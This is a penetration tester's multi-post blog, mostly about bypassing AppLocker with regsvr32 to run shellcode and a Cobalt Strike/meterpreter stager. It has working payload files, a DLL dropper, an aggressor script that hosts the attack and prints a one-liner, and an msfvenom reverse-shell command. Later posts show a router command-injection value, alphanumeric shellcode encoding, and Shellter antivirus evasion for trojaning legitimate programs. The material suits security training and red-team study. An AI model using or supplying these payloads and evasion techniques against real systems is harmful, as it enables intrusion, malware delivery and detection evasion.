playing with the regsvr32 applocker bypass

i was inspired to play around with the regsvr32 applocker bypass by reading this article published on the excellent “penetration testing lab” blog.

when i first read the blog entry, and a few other articles on the subject, i mistakenly thought that it would allow for the execution of exe files under applocker.  it’s an easy mistake to make.  unfortunately it is not the case!  this particular bypass ‘only’ enables the execution of scripts, such as jscript and vbscript

ok, first the basics. using a script just like the one on the “pen test lab” blog, i checked that i could run a jscript file

var r = new ActiveXObject("WScript.Shell").Run("cmd /k echo foo");

unsurprisingly, this popped a cmd window that says “foo”.  good.  i then configured default applocker rules on my pentesting lab’s dc, and then pushed the changes to my workstation.  what happens now?

again, unsurprising.  so now let’s package the jscript up in preparation for the bypass, in a file called command.sct:

<?XML version="1.0"?>
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
var r = new ActiveXObject("WScript.Shell").Run("cmd /k echo foo"); 

and the bypass command itself:

regsvr32 /u /n /s /i:command.sct scrobj.dll

alright then, it definitely works.  and it’s a beauty because we can point it at a remote script, it’s proxy-aware, it’s ssl-capable, it leaves hardly any forensic traces, and the file extension can be anything.  for example:

regsvr32 /u /n /s /i: scrobj.dll

but what can we DO with this?  we still can’t execute an exe, we can ‘only’ use jscript and vbscript

the pen test lab guys suggested a couple of things:

  1. powershell web delivery.  this proposition begs the question: “but why don’t we just do that to begin with”.  the regsvr32 bypass won’t unblock powershell.exe if it’s blocked, and if it’s unblocked then we don’t need regsvr32 at all!  so let’s proceed as if powershell.exe was locked down, to make things more interesting, eh?
  2. download and execute an exe.  again, if we have the capability to execute an exe file, why don’t we just download it normally?  no, the problem is that we’re operating in an applocker-controlled environment, and we won’t be able to execute any old exe file.  and let’s proceed as if we can’t just stick the exe in %TEMP% and run it, again to make things more interesting

so what can we do with this scripting capability that perpetrates untold evilness, but isn’t going to need to run an exe, or to run powershell?

well, we can do lots of funky stuff with activex, LOTS as i learned today.  in fact i might try my hand at writing a malware agent using jscript at some point!  but while i was at the beginning of this journey i thought to myself ‘shellcode‘.

yes, i wanted to run arbitrary shellcode using this whitelist bypass <rubs hands>

initial hopes dashed

i found a really old blog post from 2008 by a guy called didier stevens, which seemed to be showing shellcode being executed from vbscript.  there was also a really cool companion script (dated 2015) that takes shellcode and generates a vbscript to run it.

unfortunately, through testing, it turned out that this wasn’t the sort of ‘vbscript’ that regsvr32 could use…  this sort of script was more heavyweight vba, and needed to be run within some sort of vba container.

further digging showed that a guy called casey smith, aka ‘subtee’ had done just that, using vbscript to execute the vba to run shellcode within the context of an excel spreadsheet!  really awesome, but i didn’t want to introduce such a dependency, and i don’t own ms office anyway.  damn! 🙂

dynamic wrapper x

i needed a way for normal vbscript, or jscript, to invoke the necessary windows apis that would allow shellcode invocation.  allocating memory pages, setting page permissions, writing the shellcode there, creating a thread and starting it at the correct point…

enter dynamic wrapper x, by a russian guy called yuri popov!  from his own description:

DynamicWrapperX - is an ActiveX component that you can use in a script (JScript, VBScript, etc.) to call:
- functions from a DLL (eg Windows API functions);
- in general any function whose address in memory known to you;
- functions whose native code (as a hex-string) you have available.

wow, that’s exactly what was needed!

further searching on this subject sent me right back into the arms of casey smith, who already had a poc for executing shellcode using regsvr32 and dynamicwrapperx!  here are the interesting parts, minus the regsvr32 boilerplate:

DX = new ActiveXObject("DynamicWrapperX"); // Create an object instance.
DX.Register("kernel32.dll", "VirtualAlloc", "i=luuu", "r=u");
var memLocation = DX.VirtualAlloc(0, 0x1000, 0x1000, 0x40 );
DX.Register("kernel32.dll", "GetCurrentProcess", "r=h");    
var procHandle = DX.GetCurrentProcess(); 
var scLocation = DX.VirtualAlloc(0, 0x1000, 0x1000, 0x40 );		

//msfvenom -p windows/exec -a x86 --platform win -e x86/shikata_ga_nai -f csharp CMD=calc.exe EXITFUNC=thread 
var sc = [0xdd,0xc6,0xb8,0x50,0x6e,0xc4,0xe2,0xd9,0x74,0x24,0xf4,0x5b,0x2b,0xc9,0xb1,...

for(var i = 0; i < sc.length; i++) {
DX.Register("kernel32.dll","CreateThread","i=uullu","r=u" );
var thread = DX.CreateThread(0,0,scLocation,0,0);

DX.Register("kernel32.dll", "WaitForSingleObject", "i=uu", "r=u");

i ran the poc (both locally and remotely) and it popped a calculator both times as expected.  woo! 😀

the dll registration problem

but… this needs the dynamicwrapperx.dll to be installed and registered… urgh. :-/ rather amusingly, the dll registration would seemingly need to be done via regsvr32! :-p

nosing through casey smith’s gists some more, i noticed something amazing: he’d also found a way to bypass the need to register the dll!

the unfortunate need to write to disk

i’d originally hoped that i’d end up with something that didn’t touch disk AT ALL.  and here we are, needing to drop TWO artifacts – a dll and a manifest – to disk…

furthermore, the day after i made this blog post a kind commentator let me know that the script itself would be written to a temp location and scanned, and which i verified with procmon

however, the dll has a detection rate of 0 on virustotal

..and the script is only detected by 2/5 (as HEUR:Trojan.Script.Generic)

so it’s not soooo bad 🙂 but anyway, as the commentator pointed out…  this is not supposed to be for stealth, it’s for bypass!  it is good for delivery convenience to have it all packaged up neatly in one file though

let it be noted that i was not the first chap to submit the dll to virustotal!  somebody beat me to it, as you can see

cribbing from other sources (because i’m not overly familiar with jscript), i fashioned the dropper functions.  i look to see whether the files exist before writing them, because if the dll is in usage already, by a previous long-running invocation of the exploit for example, then it’s locked and the script fails

function atob(base64) {
    var xmlObj = new ActiveXObject("MSXml2.DOMDocument");
    var docElement = xmlObj.createElement("Base64Data");
    docElement.dataType = "bin.base64";
    docElement.text = base64;
    return docElement.nodeTypedValue;

function write(content, to) { 
    var outputStream = new ActiveXObject("ADODB.Stream");
    outputStream.Type = 1; // 1 => binary 
    outputStream.SaveToFile(to, 2); // 2 => overwrite if exists (will fail if dll is in use)

function createManifest() {
    var dynwrap_manifest_b64 = "PD94bWwg...
    var dynwrap_manifest = atob(dynwrap_manifest_b64);
    write(dynwrap_manifest, "dynwrap.manifest");

function createDLL() {
    var dynwrapx_dll_b64 = "TVpsAAEA...
    var dynwrapx_dll = atob(dynwrapx_dll_b64);
    write(dynwrapx_dll, "dynwrapx.dll", 1);

var fileSystem = new ActiveXObject("Scripting.FileSystemObject");
if (! fileSystem.fileExists("dynwrap.manifest")) {
if (! fileSystem.fileExists("dynwrapx.dll")) {

are we good yet?

yep, now we have pretty much everything we need!

  • a way of invoking windows api calls (the dynamic wrapper x dll)
  • a way of avoiding the registration of the dll (using a manifest)
  • a dropper for the required files (dll + manifest)
  • 0 hits on virustotal

but let’s get some bonus learning – cobalt strike integration!

what i really wanted was a way to dynamically and conveniently package ANY shellcode into this kind of envelope, host it on a webserver, and be supplied with a nice little regsvr32 command that i could just copy paste on-target…  cobalt strike would be perfect for this

one of my near-term aims is to become a cobalt strike expert.  it’s a great tool, and i had the honor of meeting its author, raphael mudge,  quite recently.  i’ve used it a fair bit in red teaming exercises and whatnot, so it’s certainly no stranger to me.  and i’ve certainly leveraged the power of pre-existing cna scripts, but i’ve never written one myself.  so now seemed like as good a time as any!

cobalt strike’s underlying scripting language is called ‘sleep‘, and its higher level interface integration scripting language is called ‘aggressor script‘.  i just dived in and started flailing around until it became clear what was what 🙂

sub create_sct {
    local('$shellcode $shellcode_length $handle $sct');
    $shellcode = $1;
    $shellcode_length = $2;

    $handle = openf("/root/cobalt-strike/scripts/regsvr32.sct");
    $sct = readb($handle, -1);

    $sct = replace($sct, "%%SHELLCODE%%", $shellcode);
    $sct = replace($sct, "%%SHELLCODE_LENGTH%%", $shellcode_length);

    return $sct;

sub read_shellcode {
    local('$filename $handle $shellcode');
    $filename = $1;

    $handle = openf($filename);
    $shellcode = readb($handle, -1);

    return $shellcode;

sub encode_shellcode {
    local('$shellcode $encoded');
    $shellcode = $1;

    $encoded = unpack("H*", $shellcode)[0];
    $encoded = replace($encoded, "(..)", "0x\$0,");
    $encoded = substr($encoded, 0, strlen($encoded2) - 1);

    return $encoded;

sub setup_attack {
    local('%options $file $shellcode $shellcode_length $template');
    %options = $3;

    $file = %options["file"];
    $shellcode = read_shellcode($file);
    $shellcode_length = strlen($shellcode);
    $payload = encode_shellcode($shellcode);
    $template = create_sct($payload, $shellcode_length);

    $url = site_host(%options["host"], %options["port"], %options["uri"], $template, "text/plain", "regsvr32 /u /n /s /i:<url> scrobj.dll");
    $command = "regsvr32 /u /n /s /i:" . $url . " scrobj.dll";
    prompt_text("One-liner: ", $command, {});

popup attacks {
    item "regsvr32 applocker bypass" {
        local('$dialog %defaults');

        %defaults["uri"] = "/bananas.html";
        %defaults["host"] = localip();
        %defaults["port"] = 80;

        $dialog = dialog("regsvr32 applocker bypass", %defaults, &setup_attack);
        dialog_description($dialog, "regsvr32");
        drow_file($dialog, "file", "File:");
        drow_text($dialog, "uri", "URI Path:");
        drow_text($dialog, "host", "Local Host:");
        drow_text($dialog, "port", "Local Port:");
        dbutton_action($dialog, "Launch");


putting it all together

first let’s make some shellcode to establish a beacon.  we can imagine our situation being that we have landed an rdp foothold and would now like to get our malware agent on there.  but, oh no, applocker is turned on and we can’t execute exes or scripts anywhere!  what’s a hacker to do?  😀

unfortunately, for reasons that eluded me within the day i spent on this project, cobalt strike’s raw (which i presumed to be shellcode) stageless beacon payload (all 240k of it) didn’t work.  but, no matter, cobalt strike is compatible with metasploit stagers, so we can use the shellcode for that…

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http LHOST= LPORT=80 EXITFUNC=thread -f raw > stager.bin

great, now let’s package that payload in the delivery envelope and host it on cobalt strike!

we copy-paste the one-liner onto the target:

back on cobalt strike, thar she blows:

the files are available on github

what could be improved

  • i don’t like writing files to disk much.  it would be great to get away without doing that…  a reflective dll loader would sort half of it out, but then i’d be left with the problem of the manifest…  something to think about another day.  although reflective dll loading is a massive red flag for AV (as if reserving RWX memory and starting a new thread pointing at it wasn’t already!), i wouldn’t mind knocking one up, just for the experience
  • dynamic renaming of the dll and manifest.  having such fixed names does not seem at all discreet
  • any other ideas?  please do comment!

in summary

all in all, a very interesting day’s work.  i learned a ton!  and i was supposed to be doing something completely different – studying an offensive powershell course! 😀  tomorrow…

finally, please be aware that all i really did here in the end was do a lot of googling and looking at other folks’ stuff, and then simply gluing it all together 🙂  nothing original from me here.  massive props to casey smith aka subtee for his amazing work, pen test lab for getting me all interested in regsvr32, and to the authors of the the countless other sources i used to bollock it all together 😀 

finding command injections on a router using strace

this was my first router pentest.  it was a battery-powered portable mobile/wifi router which was to be sold on a foreign market. i learned so many things!  this is just one of them…

to perform command injection discovery on the web gui, i first used a browser and burp to meddle with parameters.  however, meddling with every field for every page in burp quickly became tiresome.  furthermore, it felt a bit too ‘blind’, since for any given field there might have been an injection point, but it was possible i just wasn’t attacking it correctly

i already had root telnet access into the router, thanks to a different security problem, so i had the router execute ‘ps’ with verbose output as fast as it could, dumping the results to file.  i then browsed through the web gui’s pages, and did a sort/uniq (and other filtering stuff) on the ps output to get a list of unique commands spawned by the web gui as it went about its business.  hunting through the output, i managed to find a command injection point.  but… i knew i had been lucky – ‘ps’ had just happened to see this command as it was being executed

what i really wanted was something listening to the web gui’s execve syscalls (i.e. when it forks a child process and then gets that child to do something), and in linux that’s what strace is for.  i hadn’t used strace before, but i knew about it enough to know it was what i needed! unfortunately strace was not on this router, and i had no experience whatsoever of cross-compiling utils for router chipsets/architetures (RALINK/MIPS in this case)

a much more experienced colleague pointed me in the direction of a helpful blog post.  i could download openwrt, which supports a lot of router chipsets/architectures, configure and build it for the correct target, then snaffle the strace binary from it.  nice!

sudo apt-get install libncurses5-dev gawk flex build-essential qemu-user
git clone git://
cd openwrt
make menuconfig
[select the correct chipset and utils required]

about an hour later (on a 4 core i7 laptop!) it had built, hooray!  i transferred strace to a usb stick and then executed it on the router.  no dice.  why? i compared a binary from the device to my binary to see:

$ file date
date: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/, stripped
$ file strace
strace: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked, interpreter /lib/, not stripped

durrrr 🙂 after some floundering around with the rats nest of makefiles in openwrt, i got it to link statically

diff -ur -x .git openwrt/package/devel/strace/Makefile openwrt-static/package/devel/strace/Makefile
--- openwrt/package/devel/strace/Makefile 2017-05-09 01:14:13.112386648 +0300
+++ openwrt-static/package/devel/strace/Makefile 2017-05-09 01:27:45.108752248 +0300
@@ -28,8 +28,11 @@
include $(INCLUDE_DIR)/

HOST_CFLAGS += -I$(LINUX_DIR)/user_headers/include
+TARGET_CFLAGS += -static
+TARGET_LDFLAGS += -static

+ LDFLAGS="-static" \

rebuild it:

make package/devel/strace/{clean,compile,install}

my initial aim was to build ALL the util binaries statically, but after some considerable effort i decided quite conclusively that openwrt just doesn’t support this. static compilation has to be enabled (in a bespoke manner) on a per-package basis. i managed to do it for the utils i really wanted, like ‘ss’, ‘tcpdump’ and a handful of others, but for others i tried it just wasn’t happening. oh well!

now i had a static strace, i ran it against the web-gui process:

./strace -f -p 31722 -e execve 2>&1 | grep execve

but ran into a problem:

[pid 16478] execve("/bin/sh", ["sh", "-c", "echo 4 > /var/pcontrol_0/cpin"], [/* 7 vars */]) = 0

ooer, strace is truncating stuff. not good. the man page suggested the ‘-s’ option could stop the truncation, but it didn’t

google and stackoverflow to the rescue! it turned out i could recompile strace with output truncation disabled

the way the openwrt build works is that it downloads the compressed source of a package, unpacks it, applies patches if necessary, then compiles it.  so i could either create a patch or meddle with the downloaded source directly.  the proper approach would have been the former, but i chose the latter out of laziness :-p

cd dl
mkdir unpack
cp strace-4.11.tar.xz unpack
cd unpack
xz -d strace-4.11.tar.xz
tar -xvf strace-4.11.tar
rm strace-4.11.tar
cd strace-4.11/
gedit defs.h

[change the abbrev(tcp) value to be 0]
#define abbrev(tcp) 0

cd ..
tar -cvf strace-4.11.tar strace-4.11/
xz strace-4.11.tar
mv ./strace-4.11.tar.xz ..
cd ..
rm -rf unpack

rebuild it again:

make package/devel/strace/{clean,compile,install}

ok, great, now it dumps full output:

[pid 4342] execve("/bin/sh", ["sh", "-c", "echo 4 > /var/pcontrol_0/cpin"], ["USER=root", "LD_LIBRARY_PATH=/ram/lib:/lib:/lib/iptables", "HOME=/", "TERM=vt102", "PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/bin/scripts", "SHELL=/bin/sh", "PWD=/ram/tmp/www3"]) = 0

now i just browsed through the web gui with a browser, submitting forms with entirely normal/expected data. it didn’t take long to find a new candidate injection:

[pid 1654] execve("/bin/sh", ["sh", "-c", "mac-control fixed 1 00:22:31:26:47:81"], ["USER=root", "LD_LIBRARY_PATH=/ram/lib:/lib:/lib/iptables", "HOME=/", "TERM=vt102", "PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/bin/scripts", "SHELL=/bin/sh", "PWD=/"]) = 0

i sent the request to burp’s repeater, set the mac parameter to ’00:22:31:26:47:81;reboot;’, and voila! of course ‘reboot’ is a stupidly crass injection! adding a superuser with a known password, opening up telnet to wan, followed by a ‘check in’ call to an attacker-controlled domain would be the proper thing to do, for an appropriately shocking client demo

tracking execve calls may not be the only way to find command injections, and it won’t get them all, but it’s a nice trick to have in my book from now on!

stack pointer alignment

i’m quite new to exploit writing.  as part of my n00bery, i learned a rather time-consuming and painful lesson: always make sure ESP is word-aligned!

i had a reasonably-sized region of memory which i could abuse, and so i filled it with nops and stuck my 2nd stage shellcode in there at an arbitrary/convenient place

then i adjusted ESP to point there in my 1st stage shellcode, and JMPed to it

unfortunately for me, my shellcode did not start on a word boundary, and so neither did ESP after my adjustment

even more unfortunately for me, everything – up to a point – behaved completely normally.  my second stage shellcode decoded itself with complete integrity and invoked third stage shellcode, which also decoded intact.  all of this was using a misaligned stack quite happily

but the final payload (be it bind or reverse shell, calc.exe… i tried a few!) never worked properly, despite being entirely correct

i debugged the decoded 3rd stage shellcode (reading C++ structs off the stack, what fun!) and everything looked normal… but the windows api would just give me a -1 result code and a generic error like ENOTSOCK.  ESPFUBAR would have saved me some time :-p

after a few hours of metaphorically tearing my hair out and getting nowhere, i decided to rewrite the exploit again from scratch, and got a shell.  using the exact same binary stages as i used before!

ok, so i had a working exploit now, but i NEEDED to know why it didn’t work first time.  i debugged both programs and compared the registers, stack content and memory regions at various points… everything was identical apart from my stack adjustment before the JMP… could it be…?

and yes, it was.  i tried adjusting ESP varying amounts and the win32 api calls only worked in the 3rd stage when ESP was word-aligned in memory!

so why does the rest of my shellcode, for example the decoder stub which also used the stack, work, but the win32 api barfs?  i’ve no idea 🙂  i just know that it does

i read somewhere that it would be inefficient to have a non-aligned stack (because 2 words have to be read instead of 1, then being spliced together), but it turns out from experiential observation that it actually messes stuff up too!

an expensive lesson learned 🙂

alphanumeric encoding of shellcode

if you have a bit of extra space to work with, sometimes it’s just easier to encode shellcode in this way rather than figure out the badchars.  or, you might only be able to use alphanumerics.  either way, msfvenom has you covered… with a little extra effort needed on our part

here’s the alphanumeric encoding option in action:

msfvenom <whatever> -e x86/alpha_mixed

but what you will actually get is an alphanumeric string with a few instructions of non-alphanumeric assembler at the front – hardly ideal!

let’s have a closer look:

egghunter.rb -e HX0R -a x86 -p windows -f raw  | msfvenom –payload – -a x86 –platform windows -e x86/alpha_mixed -f raw | shellnoob –intel –from-bin – –to-asm –

mov eax,esp # .byte 0x89,0xe0 # copy esp
fxch st(5) # .byte 0xd9,0xcd #
fnstenv [eax-0xc] # .byte 0xd9,0x70,0xf4 # dump state
pop esi # .byte 0x5e # eip is now at esp, pop it

6 of these the first 7 EIP-finding bytes of the alphanum decoder aren’t alphanumeric, which is defeating the whole point of the alphanumeric encoder!

these FNSTENV instruction helps the decoder find the location of EIP. the location of EIP is necessary so the alphanum decoder can calculate where to start its decoding from. the behavior of these EIP-finding instructions is rather detrimental to the stack, and so if you are jumping to ESP then you will need some NOPs in front of your shellcode, otherwise the FNSTENV instruction will cause corruption. on x86, this FNSTENV instruction writes x1C bytes to ESP-xC (so that ESP then points to EIP, which can be popped off), which means that your instructions need to be x10 past where ESP points at to get clear of the write (hence 16 NOPs).  it confused me at first that a this state-saving operation on ESP would cause data to ‘grow upwards’, but then i realized that FNSTENV isn’t a ‘save state to stack’ instruction (like PUSHAD/PUSHFD), it’s just a ‘dump state at address’ instruction (in this case esp-xC)!

but getting back on topic… there is a neat way of eradicating this non-alphanumeric preamble, using msfvenom’s ‘BufferRegister’ option

if you can get a register to point exactly to EXACTLY the start of your shellcode [no nop sleds allowed!], then you’re golden

here’s an example where we know that when we reach our shellcode, EDI will point directly at it (probably because we did a JMP EDI):

egghunter.rb -e HX0R -a x86 -p windows -f raw  | msfvenom –payload – -a x86 –platform windows -e x86/alpha_mixed -f raw BufferRegister=EDI


all alphanumeric!

the first thing this shellcode does is save EDI, so it knows where it started from (as we can see, courtesy of shellnoob):

push edi # .byte 0x57 # .ascii “57”

from there it can work out where to start decoding (EDI + something)


shellnoob takes shellcode in one format and generates output in another

i discovered it by accident in kali, typing ‘shell’ and then tab, thinking i would get ‘shellter’.  ‘shellnoob?  ooh, what is this?’ 🙂

supported input formats: asm, obj, bin, hex, c, shellstorm

supported output formats: asm, obj, exe, bin, hex, c, completec, python, bash, ruby, pretty, safeasm

examples of what you can do:

  • convert hex or binary shellcode into asm to inspect it
  • write or modify asm and convert it into a convenient format
  • wrap any shellcode with a c program that will load it into an WRX region and execute it (‘completec’)

standard command format:

shellnoob –from-<input_format> /fullpathto/input.file –to-<output_format> /fullpathto/output.file


shellnoob –from-bin $PWD/shellcode.bin –to-asm $PWD/shellcode.asm


  1. shellnoob works with full paths.  if you don’t specify a full path it will assume that the file lives in its home directory (you don’t want this)
  2. shellnoob can accept stdin/stdout (use a hyphen instead of a filename)
  3. shellnoob sometimes barfs when pumping asm to stdout, using a file for output works fine though

wigle wifi wardriving

the wigle wifi android app simply records all the wifi access points your phone sees as you are walking/driving about

you can upload your results to the shared wigle master database (, or just keep them to yourself, locally

you can query the db for open hotspots, or filter by security type

when you first run the app, every few minutes it has an annoying robot voice giving you stats (new networks detected, battery status, etc).  it also plays sounds when networks are found.  these can all be turned off (settings, and settings -> speech configuration)

the wifi scan interval has a few settings: stationary, slower than 8kph and faster than 8kph.  pretty cool

the databases can also be exported to kml, and then loaded into google earth.  i’ve previously parsed the exported kml into various layers (open, wep, wpa, cell stations…).  interesting geeky fun!

the app itself also has google maps integration, and a search facility (for example to find the nearest open hotspot)


# references

installing kali nethunter on a nexus 5

the nexus 5 is easily my favorite phone, and i would still use it now were it not for one showstopper: battery

it’s truly DREADFUL.  about half a day of reasonable use

it’s been lying around unused for about a year, and so now it’s time to put it to good, or at least interesting, use

i’ll be experimenting on it without using a sim card, not connected to any google account, and definitely not entering any personal info onto it!

# download and unzip android studio (note: you can also just install the CLI tools, but i did it this way)

# install android studio
“I do not have a previous installation of Studio…”
Next, Next, Next, Finish
…wait for downloading/installing to complete

# put adb/fastboot in the path
export PATH=$PATH:$HOME/Android/Sdk/platform-tools

# download nethunter

# download the nethunter-supported stock ROM for device (e.g. 6.0.1 M4B30Z, Dec 2016, for Nexus 5)

# download the correct (and latest) TRWP image for device (e.g. 3.0.3-0 for Nexus 5 as of Dec 16)

# download the latest SuperSU (bottom of page)

# clone/download-and-unzip the nethunter linux rootkit

# set up the nethunter linux rootkit
cd nethunter-LRT-master
mv ../ stockImage/
mv ../twrp-3.0.3-0-hammerhead.img twrpImage/
mv ../ superSu/
mv ../ kaliNethunter/

# enable developer options on the phone
press settings -> about phone -> build number rapidly until debugging enabled

# enable debugging on the phone
settings -> developer options -> usb debugging

# generate an adb rsa key
adb keygen adbkey

# plug the phone into computer usb
should be usb 2.0, not 3.x

# approve the adb key on the phone
adb shell
(accept adb key on phone)

# unlock phone
– select ‘yes’ with volume button
– press power button

# restart phone
– use volume buttons to select ‘start’
– press power button
(wait a while)

# note
if android doesn’t restart properly, turn phone off (long power button press) and back on again

# setup the phone
skip/next all the screens

# make a clean usb connection
unplug from usb and back in again

# enable developer options on the phone (for the 2nd time)
settings -> press “about phone” rapidly until debugging enabled

# enable debugging on the phone (for the 2nd time)
settings -> developer options -> usb debugging

# approve the adb key on the phone (for the 2nd time)
adb shell
(accept adb key on phone)

# flash nexus stock
(wait a while)

# note
if android doesn’t restart properly, turn phone off (long power button press) and back on again

# setup the phone (for the 2nd time)
skip/next all the screens

# make a clean usb connection
unplug from usb and back in again

# enable developer options on the phone (for the 3rd time)
settings -> press “about phone” rapidly until debugging enabled

# enable debugging on the phone (for the 3rd time)
settings -> developer options -> usb debugging

# approve the adb key on the phone (for the 3rd time)
adb shell
(accept adb key on phone)

# setup the phone (for the 2nd time)
skip/next all the screens

# customize script
remove ‘-p’ from lines ~50 and ~55 (adb push -p)

# install custom recovery, supersu and nethunter
– wait a while
– if/when ‘Starting AROMA INSTALLER’ appears on terminal, configure phone
– (i checked all boxes on all screens apart from supersu, which is already installed by twrpFlash)
– wait a long time
– if phone freezes on “checking for chroot” step, tap the end of the progress bar a few times, which should prompt the process to finish and the phone to reboot

# connect to internet
configure wifi as usual

# allow untrusted apps
settings -> security -> unknown sources (turn on / allow)

# download nethunter update
applications -> nethunter
(accept all security prompts)
menu -> check app updates
(accept / continue / etc)

# uninstall nethunter
settings -> applications -> nethunter -> uninstall

# install new nethunter
downloads -> tap on downloaded apk

# finish
(reboot phone)

at first glace, what has nethunter got in it? (i don’t know what some of them even are)

  • services
    • sshd
    • dnsmasq
    • hostapd
    • openvpn
    • apache
    • metasploit
  • mac changer
  • custom commands
    • including wifite… i think i need a wifi dongle for this
  • vnc manager
  • hid attacks
  • duckhunter hid
  • bad usb mitm attack
  • mana wireless toolkit
  • mitm framework
  • nmap
  • metasploit payload generator
  • searchsploit
  • pineapple connector
  • wardriving (appears non functional to me)

# references

building metasploitable 3

i’ve not used metasploitable before, so this is my first time with one of their vms

i understand that previous iterations were distributed pre-built, which one merely downloaded and started

unfortunately metasploitable 3 is built from the ground up, by downloading and installing win2k8 and then scripting the download, installation and configuration of everything thereafter

i experienced a few problems with this approach

  1. you have to install dependencies
  2. it takes a hell of a long time
  3. there is sometimes no feedback at all on how long a certain stage will take
  4. it downloads masses of stuff, and if one of those downloads is on a go-slow, you could be waiting a long, long time

example: i decided to try out metasploitable 3.  2 hours later i was still waiting to try out metasploitable 3 :/  it had taken a long time already, but now it was stuck on downloading ‘manage engine’ with no feedback other than the url.  i tried downloading the url in my browser, and saw the problem: estimated completion time for a 128MB download: 10 hours!  this is not a problem my internet connection (i checked), it’s the server.  and for all i know it’s even throttling only the people (of which presumably there are a great many) who are building metasploitable 3, and who therefore are not even ‘real customers’, but sucking up their bandwidth

i ^C-ed and tried again with the last command, and to my amazement it recovered from where it left off. unfortunately it was still going to go incredibly slowly because of the server…

all in all… this way of doing things does not seem at all great

progress so far:

# following the document at…

# install packer (note: ~/bin is already in my PATH via .bashrc)
(select and download)
unzip packer*.zip
mv packer ~/bin

# install vagrant
(select and download)
sudo dpkg -i vagrant_1.9.1_x86_64.deb

# install vagrant-reload
vagrant plugin install vagrant-reload

# install and build metasploitable3
# note: the installation script barfed for me because it said i needed virtualbox 5.1.x+
# since i only had 5.0.24 and didn’t want to upgrade in case i broke something else, i simply
# modded the installation script to downgrade the minimum version required to what i actually had
# (seems to work fine, i had no errors at all)
git clone
cd metasploitable3 <– takes a long time

# at some point during the install it will spit out an address you can rdp to, to see what is going on

# start the vm
vagrant up <– takes a VERY long time because of a slow download

…to be continued. right now the vm ‘seems to be working’ but i’ve got shaky confidence in whether everything installed ok, because of the long downloads, aborts, retries etc… i will happily take a pre-built image from somewhere if i can find one (although it’s not on vulnhub).  i don’t mind a dodgy backdoored copy, since i can just run it in a private virtualbox network

stegano banner ad malware

what interesting malware this is!

i guess it’s particularly interesting to me because of the stego aspect: my final year uni project was an app which could stuff hidden data into images (particularly animated gifs), with a slider-bar controlling the tradeoff between payload capacity and image quality, pre-injection.  various tricks were used to minimize distortion.  i wish i’d retained a copy of the source!

also the paranoid nature of stegano, and the researchers’ ability to dissect it anyway, makes me wonder how the reverse engineers are doing their jobs.  do they perhaps have to have a custom rootkit that hides all the vm and monitoring-related files/processes from the malware?

note: i later found out from a clever guy (jaanus kaap @ clarified security) who works with malware that it’s quite usual to reverse engineer the malware, find out where it is doing its checks, and simply bypass them…

modern av evasion with shellter

i’d used shikata-na-gai and hyperion in the oscp labs with good effect, but in reality they are totally busted by modern and up-to-date AV

so i was pleased to be introduced to shellter.  i haven’t yet used it a lot, but it’s already the obvious choice for the future!

it can very effectively hide something from AV by taking any 32 bit payload and injecting it into any 32 bit PE.  in the training scenario i used it in (putty with a meterpreter revshell), virustotal counted 3 of about 50 AV engines detecting it, with 2 of those being suspected false positives.  amazing!

the two main use cases are:

  1. non-stealth mode: simply to get past AV and execute the payload (e.g. a privesc).  in this case the enveloping legit app is not executed, only the embedded evil app is
  2. stealth mode: perform a client-side attack without the target being any-the-wiser (e.g. trojan a legit app).  in this case the enveloping app works as intended, and the embedded evil app goes about its business in the background

in stealth mode, if a msfvenom payload is used, it must have EXITFUNC=thread, otherwise killing the established session will also kill the enveloping app

shellter seems to weave the evil app into the code of the original app, and also tries to run out the clock on an AV’s process monitoring sandbox

the website says it doesn’t make use of code caves, nor does it add/modify PE sections!  it’s funny how i’m just about to learn all about all that stuff in the osce, and yet they are already pretty much obsolete, it would seem.  still, it’s nice to get in at the ground level and build up – more complete knowledge that way

still, however good shellter is right now, you can bet your bottom dollar that AV engines will catch up, and new techniques will be needed.  how wonderful and interesting the world of computer security is!